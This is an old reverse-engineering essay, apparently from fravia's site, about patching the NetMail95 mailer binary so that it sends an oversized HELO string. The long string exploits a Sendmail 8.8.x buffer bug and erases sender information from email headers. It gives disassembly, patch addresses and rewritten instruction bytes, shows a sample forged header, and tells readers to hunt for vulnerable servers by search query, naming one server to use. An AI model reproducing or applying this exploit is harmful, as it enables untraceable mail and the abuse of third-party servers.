This essay shows how to modify data structures in a program, and shows
how to send anonymous emails easily.
Modifying NetMail95 to exploit a Sendmail bug
Introduction |
There is a well documented bug in Sendmail 8.8.x (described here)
which can be used to erase all relevant information about the sender from
the header of the email. The exploit is based on the fact that the buffer
where the information on the origin of the mail is stored can be
overwritten with a 1kb string which is passed to Sendmail as the argument
of the HELO command. For the meaning of HELO and the description of the
whole SMTP protocol please read RFC821.
So to send an anon mail we want an email program to pass a 1kb string instead of our
domain name when it says HELO to Sendmail.
Tools required |
Wdasm
Dumppe from Clive Turvey
hexeditor
Target's URL/FTP |
NetMail 95 2.12 is all over the net as nm95_212.zip, you can find it
for example here.
Program History |
Not relevant
Essay |
So we want our mailer to send a long string to the Sendmail SMTP server
in the HELO command as a domain name.
Unfortunately, not many mailers allow you to define the domain name they
pass and even less capable to handle a 1kb string as a valid domain name.
Of course, one can write his own mailer or modify an open source one, but
I preferred to play with Netmail, which I am using currently.
Netmail 95 2.12 (Nm95.exe 73728 bytes) is a free (but not open source)
win32 command line mailer which sends text files as emails and puts
incoming emails into text files.
It also comes with a gui configuration tool (Nm95cfg.exe 76800 bytes) to
set different parameters like incoming and outgoing directory, etc.
Everything is as simple as can be, just the way I like it.
It also lets you define the domain name to be used in the HELO command
which is a good start. :)
Cracking Nm95cfg.exe:
Start Nm95cfg.exe create a new config file and fill in the relevant info.
The first textbox on the server tab asks for the domain name, that's what
we have to mess with. You also have to set the SMTP, POP server etc.
All these info are saved into the freshly created Nm95.cfg file.
Open and study the file, create a new one and study it too.
The next conclusions can be drawn:
- the file is 590 bytes long (all numbers are hexadecimal further on)
- each entry is fixed length, so shorter strings are padded with zeros
longer strings are trimmed
- the order of entries and their offset from the beginning of the file:
Entry
Offset(bytes)
"NetMail 20 CFG" string 0
domain
name
10
incoming
folder
50
outgoing
folder
A0
smtp
server
F0
pop
server
130
pop
username
170
pop
password
1F0
log
file
230
number of mail in inbox 280
dialup connection name 284
dial up user
name 385
dial up
password 486
flood
protection
588
delete large messages 58C
It is clear that we have to modify Nm95.exe to make it handle a 400 bytes
long string as the domain name instead of the 40 bytes long we see here.
Lets check how Nm95cfg.exe handles this file. Disassemble Nm95cfg.exe
with wdasm and load the process. Set break points on ReadFile function
calls (two locations) and let it run.
We break at 403BC3 on the ReadFile call, and wdasm api viewer tells us
what are the arguments of the call.
arg1, file handle = 06
arg2, address of buffer receiving the data = 660078
arg3, number of bytes to read = 1000
arg4, address of number of bytes actually read = 64Fd34
arg5, address of overlapped data = 0 (not important now)
The most important information here is, that the program is able to
read 1000 bytes data which is much more than the original 590 plus
the 400 extra bytes we would like to add to the cfg file, so
we do not have to worry about the ReadFile function.
It worth to note that all the data is read in one big chunk, meaning
that must be a variable (a structure or a string) in the program which
will hold all the data after the read is completed.
After the read file function we single step with F8 through some error
checks until we see that the program starts to copy the data from the
input buffer at 660078 to its final location at 409C60. This happens
at 40255A code position. Let it finish the copy and single step until
you find the call which initiated the whole read process at 4010AE.
Here is a code snippet from that location:
:004010A0 and eax, 00000008
:004010A3 add eax, 00000588 ;8+588=590 !
:004010A8 push
eax ;push the
length of the file = 590
:004010A9 push 00409C60 ;push the address
where to read !
:004010AE call 004024E0 ;read the data
:004010B3 add esp, 00000010
:004010B6 cmp eax, 00000001 ;successful?
:004010B9 jne 00401374 ;if not damaged
config file
:004010BF test ebx, ebx
:004010C1 jne 004010DF ;old config
file
:004010C3 push 00000010
* StringData Ref ->"NetMail95 20 CFG"
|
:004010C5 push 00408094 ;file title
:004010CA push 00409C60 ;beginning of data
:004010CF call 004024A0 ;check if the title
is correct
:004010D4 add esp, 0000000C
:004010D7 test eax, eax
:004010D9 jne 00401374 ;if not damaged
config file
.
.
.
;start processing the individual entries
:00401100 mov edi, 00409C70 ;domain name string !
:00401105 mov ecx, FFFFFFFF
:0040110A sub eax, eax
:0040110C
repnz
;get the length
:0040110D scasb
:0040110E not ecx
:00401110 sub edi, ecx
:00401112 mov eax, ecx
:00401114 shr ecx, 02
:00401117 mov esi, edi
:00401119 mov edi, 00409114 ;address of the new string variable !
:0040111E
repz
;copy to the new variable
:0040111F movsd
:00401120 mov ecx, eax
:00401122 and ecx, 00000003
:00401125 repz
:00401126 movsb
:00401127 mov edi, 00409CB0 ;continue with, incoming folder string
.etc
The important information here is that the program refers to the
begining of the data by a fixed address 409C60 which means that
a global structure holds our data. We can get the address of each
entry by adding the offset of the entry we calculated previously
from the Nm95.cfg file to 409C60. The domain name is at address
409C70. In the source code the structure might have been looking
like this:
typedef struct
{
char title[10];
char domain_name[40];
char incoming_folder[50];
.
.
.
int del_large_mesage;
} configdata;
At 401100 the program starts to copy the members of the structure
into individual variables which are associated with the text boxes
on the form. The string variable containing the domain name is at
409114 and the length of the string is stored at 409110 (already
set to 40).
We now know, how the data is read and put into string variables.
We only have to find how where it is copied back into the structure
before the config file is saved. We only have to search for the
references to 409114 to find the important code pieces.
Here the content of the textbox is copied into the string variable:
:004017E8 push
00409114
;string variable !
:004017ED push
00000104
;get 104 characters !
* Reference To: USER32.SendDlgItemMessageA, Ord:01C4h
|
:004017F2 mov esi, dword ptr [0040C1E4] ;send message
:004017F8 push
0000000D
;WM_GETTEXT
* Reference to Dialog: DialogID_006D, CONTROL_ID:04D6, ""
|
:004017FA push
000004D6
;domain name textbox
:004017FF push
ebx
;parent window
:00401800 call
esi
;get the text
And here the data structure is filled from the variables before it
gets saved into the config file:
* StringData Ref ->"NetMail95 20 CFG"
|
:004013E0 mov eax, dword ptr [00408094] ;All these magic here is to
put
:004013E5 push
esi
;the string "NetMail 20 CFG"
:004013E6 mov esi, dword ptr [00408098] ;to address 409C60 at the
:004013EC mov dword ptr [00409C60], eax ;beginning of the structure
:004013F1 mov eax, dword ptr [0040809C]
:004013F6 mov dword ptr [00409C64], esi
:004013FC push edi
* StringData Ref ->"NetMail95 20 CFG"
|
:004013FD mov ecx, 00408094
:00401402 mov dword ptr [00409C68], eax
:00401407 mov edx, 00409C60
:0040140C mov ecx, dword ptr [ecx+0C]
:0040140F push
00000040
;finally, here take 40 bytes !
:00401411 push
00409114
;of the domain name and !
:00401416 mov dword ptr [edx+0C], ecx
:00401419 push
00409C70
;copy it into the structure !
:0040141E call
004013B0
;do it
:00401423 add esp, 0000000C
:00401426 push
00000050
;50 bytes of the incoming
:00401428 push
00409420
;folder string is put
:0040142D push
00409CB0
;into the structure, etc
:00401432 call
004013B0
;do it
Now, we can design our 'crack':
- First, we have to make a new structure which has a 400 bytes long
domain name entry instead of the original 40 bytes. We cannot just
enlarge the structure at its original position because it would overwrite
several other variables. We have to find a 950 bytes long empty space
and put it there. Then we have to redirect all references to the old
structure to the new one. (We have to modify all references to the
size of the structure to the new size, too).
- Second, we have to create a 400 bytes long string variable to hold
the domain name and redirect every reference from the original string
variable to this one. (Also every reference to the size of the string
must be modified to be 400.)
- Finally, we have to patch the code where the string is filled
from the textbox to let it copy 400 bytes instead of 104.
Where can we put the new 950 bytes long structure? We could create a new
section to the program to hold our data, but it is not nice to increase
the size of a nice compact program. Instead we can try to squeeze it
into the padding space of the .data section. With Dumppe we get the
next info: (for info on the PE header please see here.)
03 .data Virtual
Address 00008000
Virtual Size 00003324
Raw Data Offset 00006000
Raw Data Size 00001000
Relocation Offset 00000000
Relocation Count 0000
Line Number Offset 00000000
Line Number Count 0000
Characteristics C0000040
Initialized Data
Readable
Writeable
It tells us that the section starts at 408000 (400000 is the image base)
and 3324 bytes long so it lasts to 40B324 (both the original structure
and the domain string are in this space). The sections are aligned to
1000 so the next section starts at 40C000 therefore we have CDA byte long
padding from 40B325 to 40BFFF. This is enough to hold our new 950 bytes
structure, but not enough for both the structure and the new 400 bytes long
string (D50 bytes). On the other hand we can use the original place of
the old structure, which will not be used anymore to hold the string.
This way we do not have to add more sections and increase the program size.
We will put the new structure at 40B400 and the new string at 409D00.
(This nice round numbers make calculations easy :)
Here are the addresses of the structure we have to modify:
Entry
old new
title
409C60 40B400
domain
name
409C70 40B410 400 bytes
now!
incoming
folder
409CB0 40B810
outgoing
folder
409D00 40B860
smtp
server
409D50 40B8B0
pop
server
409D90 40B8F0
pop
username
409DD0 40B930
pop
password
409E50 40B9B0
log
file
409E90 40B9F0
number of mail in inbox
409EE0 40BA40
dialup connection name
409EE4 40BA44
dial up user name
409FE5 40BB45
dial up
password
40A0E6 40BC46
flood
protection
40A1E8 40BD48
delete large messages
40A1EC 40BD4C
additional references
409C64 40B404
into this
region
409C68 40B408
All references in the program to these addresses have be modified.
At code 4010A3 the reference to the size of the structure should be
changed from 588 to 948 and at 40158C from 590 to 950. We are done
with the structure.
The domain name string references we have to modify:
reference
old new
length
409110 409D00
string
409114 409D04
Again the reference to the size of the string at 40140F has to be
set to 400. Because we need one extra byte to do this we have to
rewrite this part of the code a bit.
Here is the original code:
* StringData Ref ->"NetMail95 20 CFG"
|
:004013FD B994804000 mov ecx,
00408094 ! here
:00401402 A3689C4000 mov dword ptr [00409C68], eax
:00401407 BA609C4000 mov edx, 00409C60
:0040140C 8B490C mov ecx, dword ptr [ecx+0C] !
here
:0040140F 6A40 push 00000040
:00401411 6814914000 push 00409114
The two lines marked with ! does nothing more, but moves the " CFG"
string into ECX. We can get our extra byte if we replace these two
instructions with one like this:
:004013FD B920434647 mov ecx, 47464320 ;move
" CFG" into ECX
:00401402 A3689C4000 mov dword ptr [00409C68], eax
:00401407 BA609C4000 mov edx, 00409C60
:0040140F 6800040000 push
00000400 ;here we have 400 bytes
:00401411 6814914000 push 00409114
Finally, at code 4017ED we have to modify the number of bytes read
from the textbox into the string from 104 to 400.
We are done, Nm95cfg.exe can handle a 400 bytes long string as domain
name now.
Cracking Nm95.exe
To actually send an anonymous email we also have to patch Nm95.exe to
make it capable to read and send the 400 bytes long domain name.
Because the crack is exactly the same as before I only describe it
in a nut shell. The structure is located at 411960 and we move it to
413400.
Entry
old new
title
411960 413400
domain
name
411970 413410 400 bytes
now!
incoming
folder
4119B0 413810
outgoing
folder
411A00 413860
smtp
server
411A50 4138B0
pop
server
411A90 4138F0
pop
username
411AD0 413930
pop
password
411B50 4139B0
log
file
411B90 4139F0
number of mail in inbox
411BE0 413A40
dialup connection name
411BE4 413A44
dial up user name
411CE5 413B45
dial up
password
411DE6 413C46
flood
protection
411EE8 413D48
delete large messages
411EEC 413D4C
Length of the structure has to be changed at 4035AB and 403818 from
590 to 950.
The buffer where the domain name is combined with HELO is located at
411000 and we move it into the place of the structure at 411960.
(The buffer can hold 3E8 bytes of data, but that's not enough for us.) Because this is
the main input-output buffer for socket communication,
there are a lot of references to it all over the program, but we only
have to change the two references connected with the HELO sending:
:00401B7E push 00411970 ;this we already
changed to 00413410
* StringData Ref ->"HELO %s"
|
:00401B83 push 0040E678
:00401B88 push 00411000 ;here, relocate the
buffer to 00411960!
:00401B8D call 00405227 ;put HELO and domain
name together
:00401B92 mov ecx, dword ptr [00410DA0]
:00401B98 push 00411000 ;here, relocate the
buffer to 00411960!
:00401B9D push ecx
:00401B9E call 004013A0 ;send through socket
We are now ready to send our anonymous email.
Here is a header of an email sent by the modified Netmail through an
SMTP server with Sendmail 8.8.5. when we specified the domain name
as 400 bytes of dashes :): (Line breaks inserted by me.)
Received: from deep-cover.mit.edu [18.251.3.197] by mx04
via mtad (2.6) with ESMTP id 337DiqFhR0115M04;
Fri, 17 Sep 1999 05:33:17 GMT
Received: from -----------------------------------------
--------------------------------------------------------
--------------------------------------------------------
--------- lots of dashes :)
Date: Fri, 17 Sep 1999 01:33:12 -0400
From: nobody@nowhere.net
Message-Id: <199909170533.BAA07671@deep-cover.mit.edu>
To: undisclosed-recipients:;
Seems it is working :)
Final Notes |
Finally, to send an anonymous email you have to find a server
with Sendmail 8.8.x. If you do a search on altavista for example for the
"(8.8.5/" string in recent documents you can fish a lot of servers, though not
many of them willing to relay messages.
Anyway, you can play with the deep-cover.mit.edu server. :)
Zer0+
Greetings to +everybody
Ob Duh |
I wont even bother explaining you that you should BUY this target program if you intend to use it for a longer period than the allowed one. Should you want to STEAL this software instead, you don't need to crack its protection scheme at all: you'll find it on most Warez sites, complete and already regged, farewell, don't come back.
You are deep inside fravia's page of reverse engineering, choose your
way out:
homepage
links
anonymity
+ORC
javascript wars
academy database
bots' wars
tools
cocktails
antismut CGI-scripts
search forms
mail fravia+
Is reverse engineering legal?